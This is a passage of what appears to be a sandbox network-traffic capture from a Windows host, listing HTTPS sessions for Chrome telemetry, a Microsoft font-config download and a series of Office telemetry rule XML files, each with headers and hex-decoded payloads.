<TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49773	142.250.181.238	443	6120	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:22 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 03:34:22 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 32 35 39 32 36 30 33 31 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730259260310",null,null,null,
2024-10-30 03:34:23 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=lc7Awq3KcsY70HTTuvgfImHET9ijnWzolhXSvKXMqYGXtg5alOZWSgjCcnGGoAylTkkF7jNHkVEmM3wfXnhaIbfVzPYAvOOF6-t2x2i45KnC7gn4UL4A7A0D-sXwIyuEsFnjJSoohLbHAa9iwu5UxnEojMHQyTLMsfpMYrwxG9lQfwLaawo; expires=Thu, 01-May-2025 03:34:23 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 30 Oct 2024 03:34:23 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 30 Oct 2024 03:34:23 GMT Connection: close Transfer-Encoding: chunked
2024-10-30 03:34:23 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-30 03:34:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:22 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:23 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033423Z-16849878b78fhxrnedubv5byks00000005qg00000000qeyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:23 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:23 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:23 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 60a20302-301e-006e-037c-2af018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033423Z-17c5cb586f66g7mvgrudxte95400000002e000000000a714 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 03:34:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:23 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:23 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033423Z-16849878b786lft2mu9uftf3y400000008rg00000000a1dq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:23 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:23 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033423Z-16849878b78sx229w7g7at4nkg00000005p000000000hukd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:23 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033423Z-16849878b78wc6ln1zsrz6q9w8000000075000000000bnvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:23 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 6c6fa777-201e-003c-1958-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033423Z-17c5cb586f6r59nt869u8w8xt800000006eg000000009d60 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49786	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 03:34:24 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=33675 Date: Wed, 30 Oct 2024 03:34:24 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-30 03:34:24 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:24 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033424Z-16849878b7828dsgct3vrzta7000000005w000000000crhq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033424Z-16849878b78zqkvcwgr6h55x9n00000006u000000000qu26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:24 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033424Z-16849878b78qwx7pmw9x5fub1c00000005p00000000076ga x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:24 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
